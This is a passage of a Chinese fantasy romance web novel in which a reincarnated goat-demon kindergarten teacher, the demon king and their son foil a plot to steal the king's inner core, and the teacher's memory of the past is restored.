这让他有一点不好意思,呆呆地思考了几秒,又把脸埋在杨思昭的后背上了。 杨思昭以为他们会一直待到夜晚,但陆无烬提了回家,他“哦”了一声,没说什么,起身帮眠眠穿上外套。 帐篷外是满地潮湿,连远处的月亮都带着湿湿的冷意,看来今天真的不是好天气。 他们一起下山,坐车回去。 当晚陆无烬没有住在杨思昭的家里,连句口信都没留,就消失得无影无踪。 还是第二天早上,陈此安发来消息:【陆先生在潜山别墅休养,过两天就回去,请杨老师不要担心。】 杨思昭不免腹诽:谁担心了? 不回来更好。 放下手机,他主动找了裴怀谦。 在门口犹豫了好久,还是抬手敲门。 是许曜跑过来开的门,两只手举着半人高的变形金刚玩具,只腾出一根指头开门,他把脑袋挤出来,“小羊老师。” 杨思昭的幼师职业病又犯了,“许曜小朋友,你怎么可以不问问就开门呢?万一我是坏人怎么办?” 许曜不以为意,“我舅舅没有朋友的,除了你,不可能有其他人找他。” 杨思昭很奇怪,裴怀谦现在的人类身份不是大老板吗?怎么会没有朋友? “为什么?” “因为我舅舅是个没有感情的人,我妈妈说他每天都戴着一张很好很好的面具,他什么都知道,但他和谁都做不成好朋友,”许曜高高举起变形金刚,狡黠道:“不过我就喜欢和他玩,因为他不管我。” “谁说我不管你?” 裴怀谦从书房走出来,在许曜的脑袋上拍了一下,“我不管你,你每天喝西北风?” 许曜朝他翻了一眼,转身跑了。 裴怀谦站在门边,眼里闪过一丝无奈,望向杨思昭的时候,又恢复成谦谦君子的模样,“杨老师,有什么事?” 杨思昭往前走了一步,压低了声音,怕被另一扇门里的眠眠听见,“我们之前说好的,我完成你的考验,你就把我的记忆还给我。” “是,我们说好的。” “要怎么做?” 裴怀谦扫了杨思昭一眼,看他和平日一样穿着白色羽绒服和牛仔裤,清清爽爽,简简单单,好像“摧心剖肝”四个字在他那里,与“出门一趟”无异。 “不会死,不代表不会疼。” 杨思昭呼吸微窒,垂眸说:“我知道。” 空气静默良久。 “三日后的零点,幼儿园西南角那棵神树下面见。” 裴怀谦说完便关上了门。 杨思昭在心里默默记下时间地点,转身回到自己家,一开门就看到眠眠坐在地垫上,“眠眠?怎么坐在这里?” 眠眠仰着头望向他,说:“小火车钻到柜子下面了。”说完还指了指鞋柜。 杨思昭莞尔,蹲下来说:“妈妈帮你找。” 他把手机的手电筒打开,对着鞋柜下面的空隙照,看到小火车头在角落。 他伸手去够。 眠眠却一直盯着他的脸看,好不容易摸到小火车,费力一抓,送到眠眠面前。 眠眠慢半拍地露出笑脸,也不知怎么了,突然起身扑到杨思昭怀里。 “妈妈。” 杨思昭托着他的小屁股,把他抱起来,“怎么了?” 眠眠不吭声,软趴趴地伏在杨思昭的肩头,呆呆地看向阳台上的花。 杨思昭还是正常上班。 七点四十五到幼儿园,院长远远地朝他笑:“小羊老师,路上冷不冷啊?” 杨思昭从羽绒服的口袋里掏出一只电动暖宝宝,笑道:“有这个就不冷了。” 院长还没见过这种东西,接过来瞧了瞧,正巧这时候,徐蕊走了过来。 “杨老师,早上好!” 她的笑容格外热情,却不达眼底,让杨思昭不禁生出几分寒意。 她还俯下身,语气夸张地向眠眠打招呼:“眠眠,你好啊,今早吃了什么?” 眠眠往杨思昭的腿后躲了躲。 她见状只是笑了笑,什么都没说,转身望向另一边的家长,热络道:“轩寒妈妈,今天这么冷,怎么没开车?” 家长们迅速与她攀谈起来。 看着也没什么异样。 杨思昭以为是自己多心,便没多想,带着眠眠去了更衣室。 离更衣室不远的办公室,门关着,徐蕊倚在桌边,眼前一团浓雾,幻化出一个成年男人的模样,“殷先生,您来了。” “他身上没有陆无烬的气息了。”殷刹说。 “是的,应该是属下那日篡改的体检报告起了作用,陆无烬恐怕不敢再强行唤醒化丹了。” “裴怀谦那里都交代好了?” “是,两日后的零点零分,就在幼儿园西南角的神树下,洵暮一定会来。” 徐蕊的眼里露出邪气,“届时,等神君解除了洵暮的记忆封印,提取出挪移乾坤的回澜咒,属下便为先生护法,让洵暮体内的化丹转移到先生的身体里。” 殷刹蹙眉:“为何定在神树之下解除封印?” “这是神君要求的,他说九枝神树蕴涵天地之灵气,能保护洵暮的肉身。” 殷刹极为不屑,“他倒是痴情,可惜那只小羊妖几百年了也不曾看他一眼。” 徐蕊掩唇嗤笑。 “陆无烬呢?” 徐蕊回答:“他在潜山上休养。” “还没回妖界?” “是,按理说,您这次加重了无情咒的威力,而且陆无烬为了不离开人间,每日分出神魂,回妖界处理事务,已经消耗了难以想象的灵力,他竟然还苦撑着。” “自讨苦吃。” 殷刹负手立于窗边,“我早就说过,陆无烬压根不配做妖界之主。” “无嗔怒,无嗔恨,无欲无求,他当他还是高高在上的神君,来我们妖界普度众生吗?三百年了,他找到他心心念念的爱情,我也该拿回属于我的位子了。” 徐蕊低头道:“属下提前向先生道贺。” “徐老师?徐老师?” 走廊里有老师的声音传来,徐蕊立即变了表情,眼前的烟雾瞬间消失。门推开的一刹那,徐蕊露出笑容:“来了来了,我补个妆,今早出门忘记涂口红了。”. 杨思昭今天教的是五以内的数字。 六只小萝卜排排坐,面前有五个数字,杨思昭说:“老师说到几,你们就拿几,谁先拿到,就奖励一个小礼物哦。” “好!”六只齐声喊。 “五。” 杨思昭一出声,教室里登时陷入安静,六只小家伙左看看,右看看,都陷入茫然,眼睛里露出文盲的疑惑。 杨思昭无奈地笑了笑,“老师已经教过好几遍了,跟着老师读一遍。” “1、2、3、4、5。” 小妖怪们学得很认真,一边盯着杨思昭的嘴巴,一边盯着数字,跟着念了好几遍。 “好,”杨思昭又问:“这是几?” 六只小妖怪再一次茫然。 “……” 好吧,杨思昭不应该强求这群小妖怪们学会人类的数学知识,毕竟他们的任务是学习飞天遁地,而不是上小学。 “是3。” 边上传来一声怯怯的回答。 杨思昭望过去,看到了举着小手回答的眠眠。 杨思昭一愣,又问:“这个呢?” 眠眠想了好久,把五个数字在心里念了好多遍,才小声回答:“是5。” 杨思昭惊讶不已。 两个月前,第一次见到眠眠的时候,眠眠还是呆呆的模样,受了委屈只敢一个人躲在滑滑梯后面,说话也是含含糊糊的。也许是因为杨思昭现在每天和他互动对话,不知不觉间,小家伙成长了许多。 “好棒啊,眠眠。” 杨思昭忍住了想亲他的冲动,从篮子里找了一只玩具小熊给他。 看到小熊,眠眠的眼睛一下子睁大了。 起初杨思昭没注意到,到了中午吃饭时间,他才发现眠眠还紧紧抱小熊,不是低着头看小熊,就是用手抚摸小熊的脑袋,一刻都不舍得撒手。他走过去,问眠眠:“眠眠很喜欢小熊吗?为什么不早早告诉妈妈?妈妈给你买一个更好更漂亮的小熊。” “喜欢,这个。”眠眠说。 “为什么?” 眠眠说:“很久很久以前,妈妈也有一件蓝色的衣服,长长的,很好看。” 杨思昭有些鼻酸。 他把眠眠抱进怀里,轻声说:“眠眠放心,妈妈很快……很快就会变得和以前一样了。” 他的喉头不免有些哽咽。 眠眠伸手摸了摸杨思昭的脖子,倚靠在他的胸口,说:“妈妈一直和以前一样。” 阿姨把饭菜都送过来了,杨思昭给每一个小家伙盛好饭。 眠眠和方小盼坐在一起,妹妹方小望有点挑食,不喜欢的胡萝卜全部塞到哥哥的碗里。眠眠看到了,歪着脑袋想了想,“小盼小盼,你为什么会有妹妹?” 这个问题把方小盼难住了,他皱着脸,思考了好一会儿,最后还是摇头:“我也不知道我为什么会有妹妹,我一出生就有妹妹。” “那我也会有妹妹吗?” “会啊,让你的爸爸妈妈生呗。” 眠眠点了点头,低头吃饭。 吃了两口,他又抬起头望向杨思昭,杨思昭正在给把汤撒了的乐乐擦手,乐乐仰起头说话,不知道说了什么,杨思昭看着她笑。 眠眠又低头吃饭。 三天,陆无烬一直没有出现。 早晚饭都是陈此安派人送过来的,杨思昭吃腻了餐厅口味,及时叫停,“以后不用送了,我还是自己做吧,也不耽误时间,而且眠眠喜欢吃我亲手做的。” 陈此安颔首,“好的。” “那个……”杨思昭从身后拿出两只便当盒,“里面是两种口味的水饺,是我一不小心做多了,吃不完,你拿去给陆无烬吧。” 陈此安接过来,笑道:“先生一定很开心的。” “他……还好吗?” “还行,”陈此安凑过去,神神秘秘地说:“先生最近一直在房间里休养,很累,但只要一清醒,就通过灵眼看杨老师呢。” 杨思昭两眼一黑,抬手制止:“……这种事就不用跟我分享了,我去拿个保温袋。” 他转身进了厨房。 陈此安站在原地,忽然感觉自己的衣摆被人拽了拽,低头一看,“眠眠?” 眠眠仰着头,乖乖喊了声:“陈叔叔。” 收拾完屋子,洗完澡,杨思昭看了眼墙上的时钟。 离零点还有两个半小时。 眠眠坐在他怀里看《狗狗神探2》,他俯下身和小家伙贴在一起,“眠眠给我讲讲吧。” 眠眠于是一页一页地讲。 “……狗狗雷欧一眼就看到了小偷,他冲上去,咬住了小偷的裤子……” 杨思昭笑,“真厉害。” 眠眠不知道妈妈是在夸自己,还是在夸狗狗神探,但还是傻乎乎地咧嘴笑。 杨思昭以为自己会很忐忑,可快要到十一点的时候,他的眼皮竟然开始打架了。 他强撑了一会儿,还是没抗住。 眼睛一闭,就昏睡了过去。 眠眠在他怀里睁开眼。 他先是一动不动地看着妈妈的脸,想到隔壁裴叔叔对妈妈说的话,他听不太懂,但是听到了“很疼”两个字,他不能让妈妈很疼。 他在冰块里待了很久很久,他不怕疼。 他从杨思昭的怀里爬出来,一个人坐在床头穿上毛衣和裤子,然后滑下床,拿出自己的小书包,把小熊和小火车塞了进去。 离开之前,他又走到床边,爬上去,把脸放在杨思昭的掌心,蹭了蹭。 他一个人出了家门,关上门。 可他个子太小了,碰不到电梯键,跳了好几下才按到。 夜里有一点冷,他一个人走在路上,就像两个月前,他一个人下山找妈妈一样。 他有点想妈妈了。 路灯把他的影子拉得很长很长,他忽然停下来,呆呆地看了看,又抬头继续走。 他就快要看到幼儿园了。 他开始害怕了。 两只塞在羽绒服口袋里的小手全是汗,整个人都在发抖。但他想到书包里的小熊,又有了勇气。爸爸说过,他要保护妈妈的。 他飞快地往前跑,就在即将跑到幼儿园门口的时候,被一只大手捉住了后领。 他吓得一哆嗦,呆呆回头看。 看到了陆无烬。 陆无烬看起来很生气,眼睛都是红的,捏住他的肩膀,质问他:“你一个人来这里做什么?你知不知道有多危险?陆眠,我有没有说过,如果你不听话,我会立即把你送回去!” 眠眠的眼眶瞬间蓄满了泪。 “你为什么要过来?你能解决什么?” 眠眠呜咽着说:“我想保护妈妈……” 陆无烬皱眉问他:“那你呢?你出事了你妈妈会有多伤心?” “爸爸妈妈还可以再生其他的宝宝,但是妈妈只有一个……爸爸最喜欢妈妈了,爸爸也不喜欢眠眠,再生一个宝宝,就会喜欢了……” 陆无烬怔住,良久才艰涩开口:“我不喜欢你?” 一千五百年的修行,白白送人,只为了保护你。 眠眠忍不住嚎啕大哭。 昏黄路灯下,陆无烬把他抱进怀里,像三百年前那样紧紧抱着他。 第34章 “带他回去。” 陆无烬把眠眠交给陈此安。 眠眠哭得抽噎不止,紧紧抓着陆无烬的袖口,不让他走,陆无烬只能转回来。 面对眠眠哭红的双眼,他轻声说:“不怕,爸爸很快就回家。” “爸爸……” 眠眠还是不愿松手。 他这个模样,太像洵暮了。 哭起来,鼻尖和眼角都是通红的,眼瞳浸满了水,委屈得叫人心尖发紧。 陆无烬对这样一张小脸,毫无办法。 成为妖王是他走投无路时唯一的选择,与其任人鱼肉,不如辟出一条路来。可成了妖王,孩子又变成他的软肋,身边那些觊觎的目光落在孩子的身上,他只能刻意疏远。 他以为寒珀能封印住孩子的五感六识,再加上漫长的三百年,陆眠对亲情的需求就不会那么强烈,也不会像他一样受困于感情不得自拔,可他把孩子想得太简单了。在爱里出生的孩子更容易感受到爱,也更需要爱,他忽略了这一点,再想要满足已经迟了——眠眠不需要他了,只想找妈妈。 父子俩变成两条同一方向的平行线。 直到今天,陆无烬才知道眠眠对他不亲近的原因。 他低头靠近眠眠,用指腹摩挲着眠眠哭红的眼角:“爸爸爱你就像爱妈妈那样。” 眠眠呆了两秒,而后猛然抱住陆无烬的手臂,哭得更凶了。 可惜时间紧急,陆无烬不得不挣脱小家伙。他朝陈此安使了个眼色,陈此安立即抬手靠近眠眠的鼻间,指尖溢出一缕妖雾,眠眠很快就松开了手,陷入沉睡。 “带他回去,不管发生什么,不管我多晚回去,都不能让他俩离开家。” “是。” 陆无烬转身离开时,陈此安喊了声“先生”,他回头,陈此安说:“先生,请您您务必小心。” “多谢。”陆无烬点头应好,侧脸轮廓在昏黄路灯下显得比平时温柔些,依稀能瞧出他做神君时芝兰玉树的气质。 进入幼儿园的瞬间,陆无烬幻化成了杨思昭的模样。 裴怀谦已经在神树下等候多时。 暗处还有一双眼睛在窥视着他们,陆无烬信步向前,“裴先生,久等了。” 裴怀谦抬头同他打招呼,指尖在空中划了一下,便凭空取出一只银质长鞭。 “这是银蛟鞭,锋利如刀刃,是收妖之时使用的法器,杨老师若能以凡人之躯,承受五记鞭刑,我便将前世记忆归还于你。若中途喊停,今日之约便作废。” “杨思昭”看起来有些胆怯,没有立即回答。 徐蕊从黑暗中疾步走出,急切道:“神君,同他浪费什么口舌?” 她是妖身,不能靠神树太近,于是一再催促裴怀谦:“殷先生还等您呢!” 她穿着一身黑衣,看起来杀气极重,望向杨思昭的目光里没有半分善意。 裴怀谦依旧不紧不慢,指尖拂过银蛟鞭,冷声道:“殷先生未免太没有诚意,我顶着天界惩罚的风险,伤害我心慕之人,殷先生这位获益者却连面都不露,难不成是等着我把化丹捧到他面前吗?” 徐蕊有些心虚。 “还是说,你想私吞化丹?” 徐蕊脸色陡变,恼羞成怒道:“神君冤枉我太甚!只是因为殷先生守卫妖界,不可长时间逗留人界,我绝无二心!” 她闭目蹙眉,下一秒,身体如容器般溢出一道浓雾。殷刹幻化成人形,负手立于原地,遥遥望向裴怀谦。 “神君,望合作顺利。” “自然。”裴怀谦浅笑道。 殷刹翻手托起一颗晶莹剔透的月灵丹,“以此丹换彼丹,你我两利俱存。” 他回头望向徐蕊,“陆无烬呢?” “还在潜山别墅。” “他怎会百密一疏?”殷刹生出一瞬的怀疑,但即将得到化丹的喜悦与兴奋冲淡了一切,他的目光变得贪婪。 他知道裴怀谦手里的那只银蛟鞭,并不是真正的收妖鞭,而是傀儡鞭。 ——让人听之任之的傀儡刑。 他等待着裴怀谦解除杨思昭的封印,抽出回澜咒那段记忆,而后利用傀儡鞭,让杨思昭对着他使出回澜咒。届时,那颗他等待了三百年的化丹便会从杨思昭的身体里冲出来,进入他的胸膛。 若不是回澜咒只有洵暮知晓,他怎会苦苦等待三百年。 他看着裴怀谦抬起左手,五指微微张开,掌心之中骤然生出无数缕金色四线,纵横交错。他不断在半空中挥舞,丝线交织得愈发紧密,如一道咒符,其上符文闪烁,光华流转。 这就是溯光神君的封印了! 回澜咒即将再次现世! 就要得手了!殷刹的眼神逐渐从贪婪变成亢奋,一种嗜血般的亢奋。 然而下一秒,那道咒符就直直朝他飞来,他神色剧变,迅速侧身躲闪,那道咒符如一道金色火焰劈向他身后的灌木丛,生生将地面劈开一道裂缝。殷刹怒道:“神君,你这是什么意思?” 方才还一脸胆怯的“杨思昭”忽然转过身,朝他笑了笑,而后在他惊惶的目光中恢复成陆无烬的模样。 “尊、尊主……” 他瞪大了眼睛,因为极度的惊恐,眼球几乎要挣脱眼眶的束缚,双腿像是被钉在了地上,动弹不得,脸色惨白如纸。 陆无烬一手负在身后,一手凝结法力,居高临下地望着他,冷声道:“殷先生有野心,这无可厚非,我很欣赏,可惜你不该把算盘打到我的人身上。” “尊主尚未休养完全,若在人界释放全部灵力,必然引起妖界震荡。” “杀你,无需如此。” 话音刚落,殷刹四周的空气刹那间焦灼起来,变得滚烫,每一粒尘埃都化作火焰,每一片树叶都化作箭簇,毁天灭地般,齐刷刷向殷刹袭来。 徐蕊飞身而来,“先生,属下来帮您!” 殷刹却不领情,在节节后退之时,抓起徐蕊挡在自己身前,无数火簇落在徐蕊的身上,她发出一声撕心裂肺的呐喊,而后重重坠地,没了气息。 这场战斗没有持续很久。 裴怀谦原本还打算加入战局,可陆无烬比他想象中还要游刃有余。 一千五百年的修为拱手让人,堕入妖道之后屡受无情咒的折磨,竟还有这般威力,这让身为神君的裴怀谦都不免惊讶。 不到一刻钟的时间,幼儿园的西南角已是一片狼藉,殷刹跪倒在血泊之中。 他输了。 陆无烬一出手,他就知道自己必输无疑了,他以头撞地,“求……求尊主网开一面……” 陆无烬面无表情。 五指合拢,断然抽出他的妖魂。 尖锐的嘶吼声响彻天穹,刹那之后,一切归于平静。 陆无烬垂眸伫立,良久不语。 裴怀谦走过来,“我还以为会是一场两败俱伤的血战,谁料神君雄风未减。” 他望向陆无烬的脸,视线陡然停住,陆无烬的脸色很差,嘴角隐有血迹。 “你——” 陆无烬摆手,“无碍。” “你就这样把一名位高权重的妖将杀了?” “杀了他,才没有后患之忧。” 裴怀谦没反驳,收起手中的傀儡鞭。 陆无烬说:“五记罚鞭,我替杨思昭受,把记忆还给我。” “神规有言:受罚鞭者,不可凝结灵力,不可动用法器,以肉身受罚,方可解除封印。”裴怀谦收敛了神色,问:“每一鞭都要抽得皮开肉绽才行,尊主大人确定要替他受刑?” 陆无烬对此无动于衷,连睫毛都没有颤一下,只说:“是。” 他立于神树之下。 看着神树的每一片叶子在月下透出莹润的光泽,像是很多年前的青竹林。 他该回忆当净梵神君的几千年光阴,那时候他受万人敬仰,又受仙长器重,是真正的前途光明。但他一回望,眼前只浮现出一座小木屋。屋子里只有一些简素的家什,蒲团上睡着一只小白羊,肚子圆圆的,睡得正安逸。 他走近了,小白羊睁开眼,化作一个娇俏可爱的少年,穿着松松垮垮的袍衫,一起身,肩头的衣裳就落下来,小腹的隆起遮都遮不住。他爬到床边,朝陆无烬笑得眉眼弯弯,然后扑到他胸口,软声说:“神君神君,小羊在我的肚子里动来动去,我好难受啊。” 他孕期很折腾人,大事小事都要抱怨撒娇,陆无烬从不嫌他娇气,只会心疼。 他拥洵暮入怀,掌心覆在洵暮的肚子上,用灵力安抚他的不适。可洵暮要的不止这个,他仰起头,急切地向陆无烬讨吻。 “神君,小羊生出来如果是一只灰色的小丑羊,你还会喜欢他吗?” “神君,你要给小羊取什么名字?我想了一个,叫眠眠好不好?这是我的小名!” “我好喜欢他呀,小羊会知道我这个娘亲最最最喜欢他吗?” “也最最最最喜欢神君!” 洵暮搂着陆无烬的脖颈,眉眼弯弯地说:“神君,我永远不会离开你的。” 画面结束在那一刻。 神树的光辉之下,一记罚鞭落在他的后背。 一鞭,又是一鞭. 他回到家的时候,还没出电梯,就听到了哭声,一大一小两道哭声混在一起。 幸好陈此安设置了屏障,否则楼上楼下的住户肯定要投诉他们了。 他听见杨思昭说:“你放我出去!凭什么不让我出去?陆无烬凭什么独自面对一切?那是我的记忆……再痛也让我自己承担……” 洵暮很少这样大声说话。 上一次听到这般愤怒,还是三百年前,他反对他服用孕珠,小羊妖一把推开他,气鼓鼓地说:“你管我受不受苦?我自己承担!” 他缓缓走到门口,掌心有一道符咒。 那是解开记忆封印的符咒。 近乡情怯么? 陆无烬竟有些迟疑了。 有那么一瞬间他是害怕的,害怕在杨思昭的记忆中,看到当年洵暮对他的真心有假,看到青竹林的日子是一场骗局,害怕洵暮在生生剖出他身体里的化丹时,眼中没有悲伤。 他甚至想:只要那一刻,他的暮儿犹豫了、后悔了,只要有那么一瞬间就够了。 他敲响了门。 门里安静了片刻,而后霍然打开。 陈此安松了口气,“先生,您回来了!” 陆无烬抬起头,对上了杨思昭满是泪水的眼。 “陆、陆无烬……”杨思昭的声音是颤抖的,每一个音节都像在哭。 “你怎么样了,是不是很疼?” 陆无烬徐徐上前,在抱住杨思昭之前,将掌心覆在他的额头上,“应该先经过你允许的,但是原谅我,暮儿,我等得太久了。” 杨思昭没有躲闪,没有后退,他的眼泪顺着陆无烬的手掌滑落。 时光穿梭百年,在两人眼前浮现。 光影的碎片如雪花飞旋。 逐渐勾勒出一幅幅模糊的轮廓,紧接着,是声音,是温度,是气味,一切都变得清晰。 往昔潮水般涌来。 …… 再醒来时,还没睁开眼,陆无烬先听到一声“嘘”,而后是杨思昭刻意放低的声音: “眠眠轻一点,不要吵醒爸爸。” 眠眠哭得太凶了,说话都带着浓重的小鼻音,陆无烬感觉到他靠过来,带来一股奶味,眠眠轻轻地把额头抵在他的肩侧,咕哝道:“眠眠要陪爸爸,眠眠想在这里陪爸爸。” 陆无烬又感觉到杨思昭靠近了,帮他拉上被子,盖到胸前,然后轻声说:“好啊,妈妈和眠眠一起陪着爸爸,等爸爸醒过来。” “爸爸为什么睡这么久?”眠眠又问。 “因为爸爸太累了,爸爸找了妈妈三百年,他太累了。” 而后,他又听到杨思昭很轻很轻的一声:“妈妈也等了爸爸三百年。” 第35章 眠眠其实有点困了,但他一直睁着眼睛没有睡。 他抱着陆无烬的胳膊,把脸贴在上面,还攥起小拳头,试图释放出自己的灵力,洒在爸爸身上,但是那些蓝色的星点一碰到爸爸就消失了,毫无用处,他沮丧地收回手。 杨思昭察觉到小家伙的情绪,把他的小手从袖子里捉出来,握在手心,轻声说:“不是眠眠的问题,是爸爸太厉害了,眠眠长大之后也可以像爸爸这么厉害。” “像爸爸一样保护妈妈。” 杨思昭莞尔,“是啊,还可以保护爸爸。” “爸爸需要眠眠保护吗?” 杨思昭刚要回答,就听见耳畔传来熟悉的声音,带着笑,“保护好妈妈就够了。” 一大一小同时愣住。 杨思昭停顿良久,才慢慢地转过头,望向刚醒来的陆无烬。 陆无烬的目光平静而温柔,让杨思昭恍惚间看到了三百年前的净梵神君,相爱之前,神君对他和对其他人一样淡漠,相爱之后,无论他在做什么,一回头,总能看见神君在不远处看着他,眼里含着缱绻的笑意。 多年再次见到这个眼神,杨思昭的鼻子一下子酸得彻底,眼泪就要决堤。 想要出声,喉咙也像被堵住了。 他感觉到手指被人碰了一下,低头望去,陆无烬的伤重到胳膊都抬不起来了,还把手探过来,努力勾住他的手指。 “我该怎么叫你?”陆无烬问,“叫暮儿,还会吃醋吗?” 杨思昭再也控制不住眼泪,扑到陆无烬的怀里,哭着说:“我一直在等你。” 等得好苦好苦. 洵暮生来就是玄羊一族的希望。 千年以前,玄羊族的首领野心膨胀,试图冲破人妖两界的禁制,危害人族,神族因此降罪,引天谴咒圈禁玄羊一族。此后千年,玄羊一族只能困于方圆之地,及时偶有逸出,也会受天谴咒的追踪,不出一年,便会暴毙而亡。 要想解除天谴咒,只有一个办法——化丹,且必须是灵力强盛的化丹。 欲成此事,有两重难关:一是要有一只不怕死的羊妖,在一年之内找到神君;二是要取出神君的化丹,带回族地。 灵力强盛到可以解除天谴咒的神君并不多,略去几位常年闭关的、几位神龙见首不见尾的、几位视妖族为异类的……也就只有净梵神君可以作为目标。 所以洵暮一出生,比“爹爹”“娘亲”更早进入他耳朵的,是“净梵神君”四个字。 他是玄羊族最纯正的血脉,幼年时期常常跑出禁制玩耍,归来时全身无恙。玄羊族的新首领把希望寄托在他身上,给他制定了严密的培养计划,将理应封禁于千年寒窖里的回澜禁术传授给洵暮。 从洵暮懂事起,他的使命就变成了勾引神君、取走神君的化丹、解救全族。 这是他生命的全部意义。 他没有同龄的伙伴,父母兄长也不敢打扰他的修炼,他寂寞得很,有时候一连几个月都没有妖和他说话。他只能和天和云说话,和小花小草说话,独自追着流水里的花瓣一路追到夕阳前,然后孤独地目送着落日消失,再看着月亮爬上来。 一直到二十岁,回澜术习成,他都搞不清楚他为什么一定要用回澜术对付净梵神君,他问哥哥:“神君会死吗?” 哥哥对此讳莫如深,转而问他:“你希望我们一辈子都困在这座山上吗?” 他垂眸,半晌又问:“神君会死吗?” 哥哥说:“不会。” 他这才放心。 后来,他跟着哥哥奔向青竹林,那一路有哥哥陪着他,他兴奋极了。终于抵达神君的住所,还没等他问清楚如何勾引神君,哥哥已经走了。青竹林绿影绰绰,前后空寂,他又变回一只孤独的小羊。 神侍姐姐接二连三把他打出去,青竹林里冷风飕飕,竹叶又苦又难吃,想喝口泉水还要跑到很远的地方,就在他浑身是伤,又饿又困,痛到眼睛都要睁不开的时候,神君出现了。 神君把他捡回去了。 神君的院子里种了好多琼花,吃起来又香又软,不管他吃多少,神君都不会真生气,神君还会亲手给他做南瓜粥,他犯懒不想起床的时候,神君就一勺一勺地喂到他嘴边,还用帕子细心擦他的嘴角。 他一直以为神君不知道他的企图,每当他眼巴巴地盯着神君的胸口,咬着手指头思考如何取走化丹时,神君都会用书本轻轻地敲他的脑袋,问他在想什么。 他咧嘴一笑,没骨头似地窝神君怀里,没心没肺,继续撒娇。 他真的以为神君什么都不知道。 其实神君见他第一眼就知道了。 取走回澜术等同于取命,神君也知道,但是神君没有责备他,只是抱住他,无奈地一笑,在他耳边说:“暮儿,你这么笨,怎么担得起这样的重任?” 洵暮傻乎乎的,压根听不懂。 就这样过了一段时间,他都要忘记自己的使命了,但哥哥来找他了。 哥哥质问他:“你还记得自己姓甚名谁吗?” 洵暮心虚地低下头,“我错了。” “时间紧迫,不要再耽搁了,找一个只有你和他的地方,用回澜术取出他的化丹,记住,千万不要被他的神侍发现,得手之后立即回去。”哥哥摸了摸他的脑袋,放软了语气:“我们都在等你。” 洵暮的心沉得就像装满了石块。 以至于他一看到陆无烬就哭了出来,陆无烬将他拥进怀里,温热的手掌覆在他的肩头,轻声说:“没事的,暮儿。” 他哭得泣不成声,陆无烬只是低头亲了亲他,让他安心:“我来想办法。” 他那时不知道,陆无烬已经决定违背天命,无论是剥夺神印还是千年牢狱,他都要为玄羊族解除天谴咒,还他的小羊一个自由身。 洵暮不知道陆无烬有多爱他,就像他也不知道自己有多爱陆无烬。 直到孩子呱呱坠地,他汗涔涔地躺在陆无烬的怀里,明明自己很虚弱,还要抬手抚摸陆无烬脸颊的那一刻。他才知道,陆无烬已经将他的心占满了。 他舍不得了,他好喜欢神君。 他不想背负巨大的使命了,他想和神君、和孩子一同生活。 他要积攒功德,他也想成神,等他有了化丹,就用自己的命去解除天谴咒。 反正,谁都不可以伤害他的神君。 可意外还是发生了。 那天是稀疏平常的一天,他抱着襁褓里的眠眠坐在窗边晒太阳。 忽然间,有一只小兔子穿过草丛,急匆匆地朝他跑来,而后略过他的窗台,径直向后面一间屋子飞奔而去。出于无聊与好奇,洵暮放下熟睡的眠眠,追了过去。可他一进门,门就咣当一声关上了。 这让他陷入恐慌,他冲到门口,又被一股极强的力量反震回来。 很快陆无烬找到了他。 那时候他应该有所察觉的,他使出浑身解数都没能打开的门,却在陆无烬的脚步声出现的瞬间,霍然开启。 他看到陆无烬,就什么都忘了。 他想走过去,可身体不听使唤,无论如何使劲,腿都抬不起来。忽然有一股寒意从他的头顶灌入,他失去意识。 陆无烬刚迈入台阶,还朝他温柔地微笑,说“暮儿在这里做什么”,他已经伸出手,汇聚妖力,朝陆无烬劈了过去。 陆无烬没有躲,他生生承受下来。 他的眼里写满了难以置信。 洵暮已经失去意识,但眼睛记录了一切,他看到陆无烬朝他走过来,轻声问他:“暮儿,你真的要这样做?” 他用一次又一次的击杀回应。 陆无烬抱住他的时候,依旧是温柔的,“暮儿,我知道你心里着急,再等一段时间,等眠眠长大些,等我找到一个能安置你们的地方,我就去解开天谴咒,不让你为难了。” 他把陆无烬的肩膀刺出血了,陆无烬还是抱着他不放,直到他使出回澜咒。 修为不够的妖在使出回澜咒之时,极其容易被反噬,所以陆无烬没有伤他半分。 陆无烬是眼睁睁看着洵暮穿过血红咒符,把手伸进他的胸膛里,一把抓出血淋淋的化丹,再决绝离去,从始至终都面无表情。 只是跨出门槛时,他僵硬地回头看了一眼,他看到陆无烬躺在地上,血流了满地。 那是他最爱的人。 那是一张心如死灰的脸。 之后,他的世界陷入一片黑暗,再次醒来时,他倒在洵山的界门前,五名门侍走过来,告诉他:玄羊一族的天谴禁制已解除。 他愣住,他压根不知道发生了什么,只觉得胸口闷痛难忍,心跳声此起彼伏。 他说:“我要找神君,我要回青竹林。” 其中一个门侍走出来,指着界门外的云雾告诉他:“神君在人间,你去找他罢。” 他不假思索地冲了出去。 神君没有出现,迎接他的,是他的三世历劫. “你相信我。” 杨思昭哭着说,他伏在陆无烬的胸口,顾不上在孩子面前哭得失态,急切道:“你相信我,我绝不可能害你,你一定要相信我!” 陆无烬抚着他的脸,笑了笑,“你从哪里看出来,我不信你?” 杨思昭哭声渐止。 “幕后黑手是谁,我会查清楚的。” 杨思昭把脸埋在陆无烬的颈窝里,轻轻喊了一声“神君”,陆无烬说:“我在。” 两人安静地抱在一起。 过了一会儿,陆无烬忽然感觉腿边一阵温热,他低头望去,看到正眼巴巴瞧着他们的眠眠。他招了招手,杨思昭张开怀抱。 眠眠眼睛一亮,立即爬了过去。 他看到爸爸的眉头猛地一皱,看起来有些疼,他当即吓得不敢动了,呼吸都屏住,但是爸爸托住他的屁股,把他抱了上来。 第36章 眠眠还没反应过来,已经趴在爸爸身上了。爸爸的胸膛比他以为的还要宽阔,他的胳膊和腿都有位置放,趴得安安稳稳。 一抬头,妈妈又靠过来,亲了亲他的脸颊,可是妈妈的脸上有好多眼泪,贴过来,把他的嘴巴也弄得湿湿的。 他伸舌头舔了一下,是咸的。 他没有擦脸,而是摸了摸妈妈的脸,妈妈本来已经不哭了,被他一摸,睫毛忽然像蝴蝶翅膀一样扇动起来,紧接着又有一滴眼泪落在他的手指上,凉凉的。 眠眠忽然鼻子一酸,也跟着哭了起来:“妈妈……” 陆无烬就这样看着一大一小在他的胸口抵着脑袋,眼泪像断了线的珠子,一颗颗往他身上掉,悲伤得好像他再也睁不开眼了。 还是杨思昭先缓过来,泪眼婆娑地望向陆无烬,后知后觉开始担忧:“你……眠眠这样趴着,你身上会不会痛?” 眠眠立即停止啜泣,巴巴地望着陆无烬。 “不会。”陆无烬说。 